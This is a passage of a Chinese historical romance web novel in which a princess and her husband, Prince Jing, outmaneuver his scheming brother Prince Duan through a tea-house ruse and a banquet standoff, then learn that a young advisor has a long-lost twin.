承蒙沈清欢二人鼎力相助,才得以脱身,她也非不懂感恩之徒,孰好孰坏,她也是分得清的。
实在难咽不满,姚之桃下马与傅恒迎面而视。
傅恒装作蒙冤状,嘴唇微张,姚之桃不给他开口的机会,接连三个个巴掌甩下去,打得端王是踉跄往后退,身旁的亲卫因被傅之行控制也无法前去搀扶。
傅恒吐清了口中的血腥味,这巴掌十分有力气,倒有几分尚书千金的娇纵感。
“第一掌,是为你的见死不救,你我乃夫妻,本应最亲近之人,我父蒙冤却是外人所救,第二掌,为你不忠不义,罔顾兄弟亲情,第三掌,为你对妻不诚,傅恒,你配不上夭夭,也配不上我,你也不配妄想得到小满。”
姚之桃嗓音哽咽,几近用光所有力气般,一字一句咬牙切齿控诉着,她并非不曾想过与端王好好过日子,可人心难测,她抓不住他的心,也无法改变他的心。
她尚有一纸婚书在身,已是无法挣脱,但她也不愿让傅恒糟蹋其他女子,起身抹去眼角的泪痕,同傅之行与沈清欢商讨后,派了一队人马,将夭夭连夜送出城。
夭夭尚且还穿着那男子扮相的衣裳,听到消息后,已然是克制不住心中情绪,连连道谢,还是在几人的催促下,才顶着一双桃子般的眼泪眼婆娑地出城了。
送走夭夭后,姚之桃心中那口气才终于疏出。
傅之行顾及着端王府的暗线,同沈清欢耳语了一番,两人就打算先行带着姚之桃离开,此地不宜久留,既已了却一桩大事,还是见好就收较为稳妥些。
沈清欢见姚之桃浑身打着颤,赶忙将还有些热乎气的汤婆子从马车拿下,塞进姚之桃怀中。
二人不知从何开始,生出心心相惜的感情,沈清欢想,大约是第一次见姚之桃哭泣之时罢。
她已重活一世,早已知晓傅恒此人的毒辣,若不是不便插手,她也实在不忍姚之桃嫁与此人。<
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傅恒的重要暗线之一竟是流春宴的头牌,夭夭。
仗着身份,傅恒不仅强行霸占了夭夭的卖身契,还逼迫其为自己勾结乱党作牺牲,真是不择手段。
那日沈清欢将此事全盘托出时,是姚之桃首次不顾尚书千金身份,当着她的面泣不成声。
沈清欢晃了晃脑袋,不愿再回想这些二流事,看着眼前一身痞气的傅恒,只觉心底一阵翻腾。
真让人恶心。
傅之行拉过沈清欢的手,细细擦拭着其上的泥土。
心底止不住的心疼,“让你受苦了。”
“无妨。”
沈清欢现只想赶紧离开此地,小声唤着还在愣神的姚之桃,要带其一同离开。
姚之桃笑着摇了摇头,挥挥手示意他们先走。
“再不走就来不及了,小桃。”沈清欢捉急地要上手抓她的衣袖。
姚之桃上前浅浅环拥住沈清欢,低下头,还是拒绝了。
她离不开了,婚书一日不解,她一日便是端王府的王妃。
“别担忧,他不敢拿我如何,你忘了?我乃尚书千金。”姚之桃眼中浸满了泪,宽慰着沈清欢。
二人难得的相视一笑,想不到她二人如今也能这么心平气和地一同说体己话。
沈清欢在姚之桃的催促下,随着傅之行坐着马车回府了。
路上,沈清欢觉得一切都好恍惚,像是一场梦境一般。
她还记得幼时姚之桃神气般的模样,如今竟都已嫁为人妻了。
“日后我们定能助她彻底脱身的,对不对?”沈清欢带着期盼地问傅之行。
瞧着面前人眨巴着一双水灵的眼,脸上还有未干的泪痕,傅之行用指腹轻试着面颊,“必然的。”
这几日折腾的厉害,刚到傅府大门,沈清欢就已支撑不住睡去了。
傅之行单手搂过沈清欢的腰身,另一只手架着她的双腿,将人抱入屋中。
日光晒入床帘中。
沈清欢是被耀眼的日光照醒的,坐起身好半会,才想起这几日经历了什么,打着哈欠,伸着懒腰,刚洗漱完就见到院中的傅之行。
傅之行正坐在院子中央的石凳上,手中拿着许多册子,眉毛轻轻拧着。
沈清欢在他的对面坐下,打量着石凳上的册子,有许多都是茶馆的账册,还有些没标明的,沈清欢也不过多询问。
陪着傅之行理了会账册后,二人发觉,茶楼这几月的生意是比前几月好上许多,不谈一楼大厅的账册,单谈金缕茶的售卖就足足有五百两白银。
“热腾腾的甜糕来啦。”
嬷嬷老远就开始喊,沈清欢笑着同嬷嬷打着招呼,一边应和着嬷嬷,一边拉着傅之行入座。
嬷嬷上了年纪,脚步有些慢,手中的动作却依旧麻利,熟练地摆好盘子,分好吃食,还去小厨房为沈清欢端上一碗红枣桂圆汤。
“王妃,这是今早刚熬好的汤饮,对女子身子大有益处,您多喝些。”
一同于往日的场景,嬷嬷还是日日为她做些新鲜吃食。
沈清欢尝着热汤,止不住的甜。
二人用完早膳,依旧直奔茶楼,沈清欢也是时隔多日,才与傅之行一同前去。
“你可知那前几日不曾出事前,我倒真以为那馄饨摊的老板,是个顶好的人。”马车刚停下,沈清欢瞧见已打烊的馄饨摊,心中突然有感而发,挽着傅之行的臂弯一阵感慨。
“夫人聪慧,设出此局,不过,你那演技,怕不是真以为我去流春宴厮混了。”傅之行捏着沈清欢的脸打趣。
沈清欢抬眸,瞧着傅之行,眉眼弯弯,“不会,我定是信你的。”
傅之行听后一愣,望着沈清欢坚定的目光,嘴角情不自禁上扬,这算,被夫人表白了么?
12. 夫妻各自有算计
天渐渐回暖,好茶也上新了许多。
傅之行想着许久不曾踏入茶楼密室中查看,便趁着闲暇空余时间特地去查探一番。
沈清欢近来一向忙的快,早早将琐事干完,捧着一担茶干也欲同他一起。
二人吩咐嬷嬷几句便登入了三楼。
时隔多日,此房间的茶香是更加浓郁醇厚,沈清欢刚踏入一步,便感觉自己仿佛置身于茶山般。
沁人心脾。
“这茶着实不错,若有空我定要带两包亲手包裹的,带回家中给嬷嬷吃吃。”
沈清欢摆弄着茶干,口中念念不休。
傅之行看她这幅碎碎念的样子,也是觉得有趣的紧。
“那改日不如撞日,今日你亲手包裹好茶包,我带两条上好的翡翠台,正好与你一同回去,如何?”
沈清欢闻言一愣,“我只是随口一说,你不必为我如此。”
“这又如何?理所当然的事,想来也许久不曾带你回去探望了,嬷嬷见你回去,定是欣喜的。”
傅之行不想让她有负担,让她赶忙去收拾一番,就愈出发。
“是我想念相府嬷嬷的手艺了,不可吗?”
沈清欢知他在故意逗弄自己,将手中的茶叶包好后,悄默声地捏了一把傅之行的胳膊,“就你最娇气。”
二人各自准备着礼品,沈清欢更是用心地包裹着金缕茶,想想即将回府,沈清欢是止不住的乐。
相国公得知二人来到府前,也是颇为震惊。
顾不上手中的事务,几步就奔着大门而去。
见到自家的千金一副笑眼眯眯地站在府前,相国公心底是一股酸涩劲儿涌上心头。
“长高了,白了,也胖了。”相国公打量着沈清欢,一边看,一边念叨。
沈清欢无奈地笑,“父亲,女儿都这么大了,哪还会长高?竟说些玩笑话。”
言语中带着疏离,她这些体己话,她向来说不来。
相国公知女儿与自个不亲近,也是随意打着哈哈,应付过去。
嬷嬷知晓沈清欢回府,立马就撂下手中活计,往大厅中奔,立在一旁也是难言激动神色,一边询问着是否用过早茶了,一边问着近日可有什么高兴事。
还是沈清欢提出先进门说话,二人才反应过来。
“来来啦,王爷,您先清。”
几人聚在一起,难免唠起些家长里短,临近饷午,相国公也早早命人,准备了许多沈清欢素日里最爱的吃食。
就餐的茶正是沈清欢带回来的金缕茶,相国公闻着这缕缕茶香,再瞧着这茶的香气,连连夸赞。
体己话该说的也都说了,用完餐后,傅之行随相国公来到相府书房。
沈清欢本留在嬷嬷身侧,但心中实在放心不下,后也随着一同进去了。
傅之行将他二人的计划一一告知相国公,一家人不说两家话,傅之行是信的过相国公的。
看着面前尚未拆开的金缕茶,相国公摩挲着手心,淡淡出声。
“此计尚可,但证据仍需完善,若有消息我会派人以密信送至王府。”
傅之行与沈清欢二人相视,“之行,谢过相国公。”
日子总是过得快的。
距离傅之行出远门已三月有余,沈清欢原以为他怎地突然来相府探望,原也是有私心的,临走前才告知她,让她留相府待他归家。
做事也没个商量。
若是搁往常,沈清欢必然是不应允的,要不说傅之行主意大呢,赶在出门前唤来相国公,看着他们已串通好一气的说辞,沈清欢也是自知无从反驳,便也顺从安排了。
这些天,气温是一日较一日高了。
一人甚是无趣,念着姚之桃近来情绪不高,沈清欢便寻她一同下下棋。
姚之桃和傅恒现算是貌合神离的夫妻了,想着多一事不如少一事,反正也拿捏不住她,姚之桃是想做什么便做什么,也乐得自在,今早刚在小巷口宰杀了两条新鲜的花鲶鱼,差着小厮随她一同过来了。
这花鲶鱼是不多见的,眼瞧着大约是有些分量的。
“足足八斤七两呢。”
姚之桃双手搂着沈清欢的细腰,打趣,“这王爷不在家,我家沈姐姐是吃不下饭,可是啊,王爷回来瞧见不可心疼坏了。”
沈清欢听得是一阵羞涩,拿着手中的棋子,作势就要向姚之桃丢过去。
二人一阵嬉闹过后,姚之桃也不避讳。
手中捏着棋子,选好落点后,语气沉重起来,“端王是个不安分的,你家王爷刚出远门不久,我就瞧见他着人暗中跟着了,这厮本是是没有的,心眼倒是比谁都多。”
沈清欢顿了一下,随机便恢复往日神色,“他不一向如此,既是要得到的东西,想尽心思也要得到。倘若看谁不顺眼,也是要费劲心机铲除的。”
这些年,傅恒靠着一些上不得台面的手段祸害了多少人,明眼人都是有数的。
公道自在人心。
沈清欢抿了一口茶,是上等的金缕茶。
“小桃,你且尝尝。”
姚之桃也是头次喝到这所谓的“金缕茶”,虽说尚书府已有足够名望,来入门购入此茶,可她一向是不爱品茶的,从前,偶尔也能遇到几次一些小生送些名茶来探望,但她是从不沾染的。
端起茶杯,只见那绿意浓郁的叶漂在山泉水中,茶汤时不时散发出甜而泛涩的香,学着沈清欢的模样,姚之桃小酌了一口。
只一口,便将她勾住了魂,入口是淡淡的苦涩味,可回甘在那苦味完全涌上时,恰到好处的将其压抑住,只留下浓厚的醇香。
姚之桃接连品了好几口,眼角眉梢都是藏不住的惊喜。
“竟有如此上好的茶。”姚之桃是又惊又喜,难得的自己又讨了一杯来喝。
“这是今年头春晒好的茶干,选用的都是上的的叶芽,搁往日,我自个儿都是舍不得喝的。”
沈清欢想到与傅之行一同上山采茶的画面,这茶,还是初春时,他二人共同进深山采摘的,深山露水重,她实在不放心让其独自进山,缠了傅之行好些时日,才得其应允共同进山。
想来,也都过去了好多时日了,如
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今,天是渐渐回暖了,也不知辅助型在外如何了。
沈清欢心不在焉地落子。
“沈姐姐,你输了。”
姚之桃的话语打断了沈清欢的思绪,低头看着显然落败的棋局,沈清欢强行扯出了一抹笑。
“恭喜啊,小桃。”
姚之桃听出沈清欢语气的不对劲,本是沈清欢必赢的棋现却是她为赢家,太不对劲了,看着沈清欢无精打采的模样,姚之桃放软了语调,走到她身边,悄声地询问。
“发生何事了,沈姐姐?”
不说到也还好,姚之桃突如其来的关心,彻底打翻了沈清欢心底的调味瓶,眼眶逐渐泛红。
姚之桃哪里见过这等场面,她素来不曾哄过人,瞧着沈清欢的模样,一时也慌乱了,几次上前去,想道些什么安慰话,可话到嘴边,又不知从何开口,只能笨拙的拍拍沈清欢的肩背。
“沈姐姐,莫不是为了靖王?”
姚之桃思考了片刻后,还是犹豫着开口了。
沈清欢听到发问,是心里愈愈发闷地答,“谁关心他?做事不打商量,置我于何处,罢了,了不得再嫁就是了。”
“好好好,无事,你不想说,便不说。”姚之桃首次见沈清欢这幅模样,不像素日里机灵聪敏的那个王妃,到像个未及笄的小姑娘家了。
歇了好半会儿,姚之桃拿着帕子给沈清欢擦拭泪水,一边宽慰着。
“沈姐姐,不要过于担心了,靖王行事一向最有分寸了,此次不带着你,也定是怕你过于担心,你就放宽心,我那边还盯着呢,若有何异样,我定会与你商量的。”
沈清欢倒是真希望,此次如往常般,傅之行能够平安归来。
可她实在不能够安心,她送出的密信,若是平日里顶多三两日也该有个回信了,而今一周前的密信,到现在是只字未见。
当着姚之桃的面,她不便多说,招呼着她离开后,沈清欢收拾好心情,同屋中的相国公细聊后,拿着一把精巧的小匕首藏在袖口中,唤来街口拉车的小厮,就往傅家茶楼而去。
茶楼前已有傅家暗卫相迎,于景迈着大步,上前行礼,身旁还跟着位身着青色长衫的少年。
沈清欢粗略打量了那少年人,年纪约摸十五岁上下,眼神淡淡的,眼帘自此至终都是垂下的,皮肤白的吓人,比那浸水的豆腐还要白,身形消瘦极了,像是风一吹就能将他吹倒,听到于景唤他后,才恭敬地上前。
拱手作辑——
“参见王妃,在下李否。”
李否,当今翰林学府的教书先生,也是年纪最小的一位,曾在八岁作诗,名响京城,出身寒门,却从不妄自菲薄,十三岁为傅之行所用,当上幕后参谋,一路以来,依靠自己在这偌大的京城中,为父母谋得一京中庭院。
此人极为忠心,好几次同年少时的傅之行进入各大虚与委蛇的宴席,几次设计让傅之行坐得如今的地位。
沈清欢的目光从李否身上掠过,进入了茶楼。
随后茶楼的大门便贴出一告知示—
傅家茶楼——休市半日。
13. 发散茶包
酒过三巡,傅之行眉目间已带了三分醉意——
眼里清朗不见,只留着几分看不清道不明的意味。
怀中的阿狸摇着尾巴,蹭了蹭傅之行的胸膛,似是不习惯此等场合,本油光水滑的毛发,竟都炸开,扭扭头就要往傅之行衣领里钻。
而那作塌上的老臣,对着等场合,是早已轻车熟路的,口中呼着“悠哉悠哉”,脚步已呈蹒跚之态,在场上跌跌撞撞。
身边那瘦骨嶙峋的小太监,双手时刻端着,就怕哪一步出错,没接住这位大人。
傅之行轻轻将那阿狸抱起,递予身后的侍女,小口饮了口润喉茶,清清嗓。
“在下敬尚书一杯。”
说罢,就端着酒,径直朝那老臣走去。
那人正知天命之年,鬓间白发直入发梢,一双浊气飘乎的眼,散着精明与狡猾,口中不停地咂咂作响。
闻言,眼里的浊光更甚,嘴角敛起笑,不顾着小太监的搀扶,一甩手,直接将那小太监推的连连往后退。
若他回眸查看,定是能瞧出,那倒地的小太监,眼底里悄然升起的厌恶之色。
傅之行朝着侍女使了个眼色,示意将小太监送出厅门,可那老臣,敏锐地捕捉到信号,狐疑地打量着这几人。
而后,嗤笑一声,先迈着步子,一步一踉跄地走到傅之行跟前,手指着自个,目光黑漆漆的,语调沉重的发闷。
“王爷,这酒我领情,可你应当无权随意掉配我的人罢,你说呢?”
傅之行抬眸,对上那老臣,鹰般的眼,笑了下。
“是我唐突了。”
侍女见状,也只好松开那小太监。
小太监一个没站稳,“砰”地摔倒在地,浑身哆哆嗦嗦地,不知在怕些什么,双手不断地环抱着自个的肩,口中呜咽着。
让人听不分明。
相国公稳坐高位,本不想掺合进来,可瞧着场上情形也逐渐微妙,无奈,只得下场。
与傅之行通过气后,相国公借着酒意,提点着。
“李兄,难得一聚,还不趁今日喝个痛快,想你我还尚年少那些年,一左一右位于知府身侧讨教时,哪敢妄想当下这场面,当时轻狂,曾也遭过些罪,如今苦尽甘来,难得寻欢作乐,切莫因这些小事败了兴致。”
那兵部尚书,侧耳聆听,知晓其言中深意,敛起穆色,脸上重新浮现出皮笑肉不笑的姿态。
举着酒杯,“沈相所言极是,切莫因杂事败了乐子,请。”
说罢,举着酒直往喉间灌,一股子愤愤之态。
此事也告一断落。
那小太监也由专人扶着下场了。
酒宴在湖中央举办,来者皆掌权之人,傅之行不敢大意,虽说已提前与相国公商榷过,可到底是次豪赌。
茶,凉了再热。
船厅中的各路臣子,分作两边,或沉溺美色酒食温柔乡,或忧色炯炯……
傅之行临靠着相国公,手心紧捏着把匕首,随着舞娘的律动,心中也在暗自敲打。
三,二,一……
一个飞踢,将面前的桌板甩置船厅大门上,霎那间,厅中洋溢着如魑魅魍魉出入般的诡异气氛。
傅恒拍着手,连连赞叹,从厅门正中,携众侍卫而来。
“好身手!倒显得我班门弄斧了。”
众侍卫,各持一长剑,寒光凛凛,在夜里瘆人的紧。
傅恒手握一折扇,对着迎面的工部尚书作势鞠了一躬,双手合拳,瞳仁却是紧盯着傅之行。
那被行礼的工部尚书,哪还有半分先前的得瑟劲儿,被当众如此指认,心里头将傅恒的背信弃义之举,唾弃了个遍。
当前说好的,此事仅他二人所知,如今跳出来,这番举动,岂不是将他推入火坑,陷入不仁不义的地步。
傅恒怎瞧不出这兵部尚书的心思,不过故意而为之,想来他也无用,手中那折扇用力一掷去,直插入他的胸口。
随即,那兵部尚书双腿一软,竟直直跪在了席间,双眼无神,如抽疯病般,不受所控地抽搐着,口中溢出白沫,双手双脚一个僵直打挺,暴毙而亡。
除却傅之行,众臣皆上了年岁,陡然间,望见这一幕,都不自觉心头打起鼓,脸色更是惨淡。
唯有那年过古稀的大学士哑然长大着嘴,手指枯槁如老树皮状,只一道悲呛,“莽夫所为,皇恩无存,皇恩无存!无德后人悔我朝!”
相国公用胳膊肘捅了捅大学士,意欲让其闷声禁言。
枪打出头鸟。
倘若大学士遭不测,朝中必是大乱的。
傅恒仗着席间众臣皆年迈,手无缚鸡之力,且大都为文臣,更是胆大妄为。
此举无非是逼其投诚。
“先附吾者,免死。”
傅恒的声音幽幽传来,带着像是阴森白骨堆里头的凉意。
无人应答。
傅恒扬唇嗤笑,邪色泄于眉间。
他蹲下,将那折扇从早已暴毙的工部尚书的尸首中取出,低着头,用袖口细细擦拭着,荒唐至极。
众臣不自觉站立一排,虽心怀畏惧,但到底都是刚正不阿的老臣,朝中局势动荡,各皇子皆虎视眈眈。
这关头,接连传出大臣身死暴毙的消息,于皇恩何在?
且不说上有皇帝定会彻查,就说今日这局,牵头是傅之行起的,若非要动起手来,他傅恒难不成要在这关头,手刃手足,落人口实?
退一步讲,就算他端王傅恒,今日利用工部尚书窥知所聚之地,他当真敢斩杀殆尽?
他断不敢如此行事。
杀鸡儆猴的戏码,不过是演给他们瞧的,震慑人心罢了,真动手,于他也是不利的。
见诸位老臣不为所动,傅恒有些坐不住了。
今日他本就抱着赌的成分,若成了,那他改日则可拟一罪名,将工部尚书之死推之傅之行头上。
再扣以贪污受贿的罪名,将自个身上的债一并甩置他身上。
若不是傅之行逼他逼的紧,他也断不会如今这般铤而走险———
费了许久的心血,他才从药王谷寻回一灵芝,借着机会,献给父皇。
本该是美谈,也能趁机消磨前些日子,坊间对他流言蜚语的影响。
可傅之行,利用傅家茶楼为幌子,暗地里售卖出金缕茶来引人眼球。
本与他毫无瓜葛,偏偏那日,将他这些年做的见不得光的勾当,制成小片,塞进那金缕茶中,广为售卖。
一时间,朝堂中引起波澜起伏,他费劲心机的心意,也被当作是理亏的示好。
“你当朕老糊涂了!”
若不是母妃的劝慰,加以被贼人所害的由头,他如今怕是早在狱中等着发落了。
傅恒满脸的憎恨,手指嵌入掌心,映出条条血痕。
局面尚在僵持中,一点一滴,消磨着众人的意志。
傅恒终究耐不住性子,疾步走至侍卫身侧,一个拔剑,生生地架在了傅之行脖颈边。
“不可!”
“端王,万万不行!”
“傅恒,你可知,你这是大逆不道!”
争论声四起,无一例外都是些批判的话语,字字句句落在傅恒的心尖上。
这不是他预想的那样!
一群痴货,分不清眼前状况了!
傅恒早就猩红了眼,身姿站的挺立,与傅之行四目而对。
相国公一个箭步就要冲上前
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去,替傅之行理论,可尚未近其身,就被侍卫拦在一边,不得再近一步。
他心中也是急的很,本是跟着自家姑爷来笼络人心,谁知竟遇上这等局面,他毕竟是文臣,在武斗上,帮不上傅之行什么忙。
心里头一时间焦急如焚,恨不得亲自去同傅之行置换一般。
“如何是好啊,这可如何是好啊。”
傅恒瞧着这相国公一副天塌了的模样,倒是生出一点戏谑之情。
“相国公,此刻心中是否忐忑啊?若你投诚与我,我可考虑饶在场众人一命。”
话是对着相国公说的,却是说给傅之行听的。
傅之行自知其卑劣,也不会讲他所言当真,这犊子话中真真假假,只怕他自个都是分不清的。
傅之行也知自家老丈人心中百感交集,瞅着相国公不安的神色,即刻出声抚慰。
“无妨,国公不必替我忧心。”
话说的轻巧,相国公真是一把老骨头都要操心操碎了。
他又怎可能不替他忧心?且不说他为皇子,就说自家闺女那脾气,若是他傅之行有个三长两短,自家闺女日后又当如何?
本父女关系就紧张,这下一来,怕是连带着相府都要端了。
思绪还未回落。
身后陡然间传来一声闷响。
相国公被突如其来的迷雾迷了眼睛,身子骨也一软,直接昏睡去了。
再次醒来已身处自家府中,身旁是自家府人照料着他。
傅之行手举着药碗,手不断地搅动着碗中的汤药。
相国公瞥了他一眼。
对着自家二姨娘说道。
“这药闻着就苦,你替我去小厨房寻人做些甜糕来可好?”
“就你嘴叼。”
话虽这么说,可到底是起身去寻的。
见姨娘刚走,傅之行就立马跪在床边。
“让您受惊了。”
一副等待发落的样子。
相国公哀哀叹了口气,“罢了,想来,你定是有计划的,此次也是我执意要与你同去的,并不怨你,你只管同我说那日后续就好。”
傅之行将汤药递给相国公后,拿出一地图,缓缓道来。
他安插在端王府的线报突递一密信予他,上中所说其有意拉拢各大臣,促成其在朝中地位。
他变将计就计,设下此局,并有意透露给早已投靠端王一党的兵部尚书。
于是便有了那日的局面。
他赌端王傅恒不敢真动手,于情于理,他这局若无意外总是会赢的。
那日僵持不下之时,傅之行提前安排好的侍卫携迷雾置船仓内,混乱中,一队人马遣送各大臣上岸,另一队则留下与端王一党纠缠。
好在结果是满意的。
经此一局,当晚的大臣也都有意无意想与他交好。
得人心者,不是傅恒,而是他傅之行。
“那兵部尚书之死,又该怎掩饰过去?”
“听闻端王造了个假验状,说是突发心疾而亡。给了其夫人一笔安置费,也就了然了。”
相国公瞧着眼前的傅之行,一副镇定自若,娓娓道来的架势,心里头不由得打起佩服。
当初傅之行与傅恒相比较,他看中傅之行的原因,绝大部分就是相出其慈悲心肠。
不以生命作儿戏,有勇,但适可而止,会暂避锋芒,有谋,也只谋其事,不蛊惑人心,扰人心中邪正。
将心比心,换做是他,一人以性命之忧逼迫着自己投诚,而另一人,则在危机关头解救性命,为自个儿谋好求生之路,他定也是选后者的。
这道理,傅之行是懂且落在行动中的。
傅恒,却是不懂的。
14. 夫人再陪我睡会
傅之行归家时,已是半夜。
守夜的小厮本想通报,却被傅之行拦下,他挟着寒气入门,悄声打开屋门,在阁楼书房中,寻了处油灯。
点燃后,借着亮光,洗漱着,后又点了一小火炉,靠着暖意,烘着身子。
寒意渐消,身子暖意随着时间流逝,也渐渐上来了。
沈清欢近日来,本就觉浅,睡梦中隐约觉得屋中似是哪处发了响动,带着疑惑,遂起身,手举着蜡烛,查看着。
果真在书房中撞见刚返家的傅之行。
沈清欢起初只当是假象,揉了揉还带着惺忪睡意的眼,再三确认不是梦魇后,终是忍不住扑进傅之行怀中。
鼻尖闻着熟悉清朗的松花香气,手掌心触摸着还带着些寒气的胸膛,克制不住对他的思念,当下就鼻子一酸。
夜里霜重,傅之行毕竟才返家不久,身上还是带着些寒气的,生怕沾到沈清欢身上,来日引得头痛,一顿抚慰后,讲怀中那人轻轻拉起身来。
沈清欢正心痛着,猛然被拉着起身,有些气恼,眼珠子闪着泪花,眉尖微微上挑,一副恼怒之态,眼眶却是发红的。
“嗯?怎么了?”
傅之行有些不明所以,刚刚还搂着自个腰间的乖乖,怎一抬头就将人惹气恼了。
玩笑般的摸了摸其小脸,都被其扭头无声拒绝。
沈清欢别扭地垂下头,伸出手背擦擦眼泪,顺势往傅之行衣袍上一抹,一副霸道之态。
“你独自外出办事,事先也不知会我一声。”
沈清欢挺直着身板,目光炯炯地直盯着傅之行的眸子。
随后缓了口气,又接着絮叨。
“暂且不谈你将我留置相府这码事,我先不同你计较,可我写予你的密信,你竟是一封都未回!傅之行,你变了!”
沈清欢越说越觉得心下委屈,堵着口气,无处宣泄,想了想,片刻后将手包成拳头状,作势就往傅之行胸口上砸去。
她是想铲除傅恒,可她不愿傅之行拿命去赌。
早知他这般,她那日就不同他说道了,这一来,倒像是她鼓了耳旁风一般,若他死了,她一人在这靖王府里,岂不是凄惨?
可到底是没狠得下心,力道是极轻的。
傅之行深深望着沈清欢,酝酿了会,继而郑重道歉。
“夫人那日分析我是听进心的,傅恒这些时日一直小动作不断,不杀杀威风,我实在担忧。决定匆忙,也怕牵连到你,故而未提前告知于你,也实属怕你担心。”
“可你一声不吭,我才更为担心!”
沈清欢找出傅之行语句中的漏洞,嚷着不满,挑出来指责。
身上渐渐带些暖意后,傅之行抚摸了下沈清欢的头,将其倚靠在自个的臂弯上。
依着沈清欢的话,继续往下诉说。
“夫人的话,我知晓了,夫人的心意,我更知晓。我日后定会不让夫人为我操心,至于那密信,当时情景,不便回信予你,若是被人缴获,怕于你不利。”
得到满意的答复后,沈清欢这些日悬着的心,才稳稳落下,伴着傅之行身子的暖意,缓缓睡去了。
天刚蒙蒙亮,柔柔的光透着窗围的间隙洒在床榻上。
沈清欢翻动了下身子,贴着被子,贪恋着被窝中的暖意。
手臂往身旁耷拉着,触碰到一散着暖的柔软,再次试探地摸了摸,手却被截获住,牢牢包在傅之行掌心。
“夫人,别闹。”
傅之行尚未睡醒,嗓音带着些沙哑,语调却是宠溺的。
沈清欢挪了挪身子,慢慢向着傅之行身侧靠去,抬眼瞧着他。
一双桃花眼就算是闭着,也是上挑着的,睫毛密密的,在光下,显得绒绒的。
沈清欢有些戏弄意地伸出手指,在其睫毛上潭了探,看着傅之行不经意地眨着眼,又将手放置在其山根处。
从山根一路向下划去,直至其红润的薄唇。
别说,傅之行嘴唇的触感软软绵绵,手感极为舒适。
许是她动静过大,扰了他的睡意。
幕地,傅之行缓缓睁开了眼。
沈清欢略有些心虚地,向傅之行浅浅一笑,随后转身装死,顺带着裹去好些被子。
傅之行本就尚未完全清醒,又被携走好些带着暖意的被子,半个身子都暴露在外头,突感身上传来凉意,模糊间,睁眼一看,只得转过身侧躺着。
随后伸出手臂将自家夫人捞进怀中,将下巴倚靠在其毛茸茸的发顶。
“夫人,再陪我小睡会。”
再次醒来,也临近晌午。
沈清欢伸着懒腰,迎着正好的日光,坐起身。
揉了揉有些发懵的脑袋,往身旁一瞧,却并未瞧见傅之行的身影。
打着哈欠,洗漱完毕,喝着嬷嬷端来的热汤。
随口打探着,“嬷嬷,你可曾见到王爷?”
嬷嬷一脸吃惊之色,“王爷回来了?”
罢了。
沈清欢摆摆手,示意无事。
起身刚换好衣裳,刚准备去寻傅之行,就见他赶回来了。
手中还拎着一包——桃花酥。
沈清欢挑了挑眉,一副要笑不笑的表情,在傅之行面露不解时,还是破了功。
蹦跶着跳到傅之行背上,在他耳边软语。
“谢谢夫君,你有心了。”
说罢,就忙下来拆开那油皮纸包裹着的糕点。
桃花酥,当今京城最风靡的小吃,以口感甜而不腻,酥而不碎出名。
据那掌柜的所说,这桃花酥的饼馅里,不仅有桃花,还另夹了枣泥,黄酒,对女子滋补的很。
沈清欢好早之前,就在傅之行耳边叨叨过,但又因其生意着实繁忙,便一再拖延。
时间长了,自个儿都忘却了。
傅之行却是放在心上的,早间回笼觉醒来后,发觉身边人还在熟睡,便独自悄悄起身,一早就去那桃花酥门口排着了。
“怎不托人去买?耽搁你许久了罢?”
沈清欢咬了口酥饼,口味鲜嫩甜滑,入口即化,可也不忘关切发问。
傅之行拿了个帕子,放在其下巴处。
“想着亲自买,更有心意些,就当为我先前欺瞒你道歉罢。”
沈清欢斜了傅之行一眼,油嘴滑舌,心底却是甜蜜的。
屋外头于景拿着册子,敲门而入,寻傅之行办差事。
沈清欢见到于景,骤然想起些事情,心中想来理应告知傅之行,咽下口中吃食后,淡淡提出。
“对了,那日我同于景商榷后,引进了一人,本是想着若你迟迟未来消息,便用他来办事。”
“何人?”
“现翰林学府教书先生,你的幕僚—李否。”
傅之行闻言眼神晃动了下,李否是他的幕僚不假,这些年在许多事上,都有其为自己参谋,此人机智过人,且心底纯良,是大有作为的。
这并无何顾虑不妥之处。
可他心中尚有一疑问未可知,见沈清欢八卦的目光,傅之行无奈,凑到其耳边…
“一摸一样?”
“是。”
“你不会看错罢?世上还有一摸一样之人?”
沈清欢着实被这消息给惊住了。
若无血缘关系,两人样貌轮廓都一样的话,当真是罕见。
她只知双生子,且要为同卵双生,才会有相同外貌。
难不成,是失散多年的兄弟?
“你不妨将那人带回,细细问问?”
沈清欢觉得光想是不够的,得有实际行动来证明。
傅之行微微摇了摇头,“此
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人性子执拗,那日对兵部尚书恨极了,且状态不稳定,许是有心疾未解,后再寻他时,已晕厥过去,至今未能苏醒。”
那这倒是难办了。
沈清欢一时间也无好点子,手撑着脑袋,不断地设想着。
午休时,沈清欢还在琢磨如何破局。
翻来覆去,也毫无睡意,心里头燥的慌,便干脆起身去庭院吹吹风,好让自己冷静些许。
屋里的阿狸正慵懒的打着盹儿,一双眼舒服地眯了起来。
“这阿狸,生了崽,也没个做母亲的样子,小猫饿的直叫唤,自个儿躲开睡懒觉。”
嬷嬷抄着手,东张西望,终于在庭院中瞧见阿狸,口中带着些责骂声。
沈清欢有些不可思议。
“阿狸生崽了?”
“前两日的事,从前只当它是胖的积食,没想到竟是带着身子了,偷摸地将小猫崽生在了洗衣房的棉被上。”
“她倒怪聪明。”
沈清欢蹲下身,抚摸着阿狸,想不到她都当母亲了,口中也学着嬷嬷一般教导阿狸。
“当母亲的猫了,要顾及宝宝知道吗,要有责任感。”
嬷嬷瞧着自家王妃同自己一边战线,絮叨更多了。
“要我说,这阿狸兴许刚当母亲,还未适应,不过,那小猫崽倒很机灵,有两只长得老像了,平日里也总一块儿行动,心有灵犀似的。”
沈清欢的手顿时停住了。
扭头就问嬷嬷,“嬷嬷,你说他们心有灵犀?”
嬷嬷被问的有些不解,但还是应答着点点头。
沈清欢只觉脑子一转,立马想出了个点子,跑着到傅之行身边,一股子热乎劲儿。
“可以这样……。”
说罢,紧盯着傅之行,期待着回应。
得到赞同后,沈清欢立马有了干劲儿。
有了计划后,沈清欢立马执行起来,同照看小太监的名医耳语了一番,让其按着自个的计划行事。
待其状况略有好转时,沈清欢又去翰林学府唤了李否,将其所掌握的消息全数告知。
李否起初自是不信的,他父母尚且健在,若他真为双生子,为何父母从未道过?
可当真正见着那小太监后,李否沉默了。
实在是太像了,若非要找出不同,那便是相比之下,他的身形更为粗壮些。
不过半日,李否就带着消息找到傅之行与沈清欢。
脸上却是没有欣喜的。
“他们说,那时家中穷,养不起两个小孩,就将弟弟送人了。”
李否梗咽了下,声音逐渐化为哭腔。
“弟弟他,定是受了许多苦,这些年,他是怎么过的啊,都怪我,我应当早些将他找回的……”
傅之行出声安慰,“怪不得你,你也刚得知此消息。”
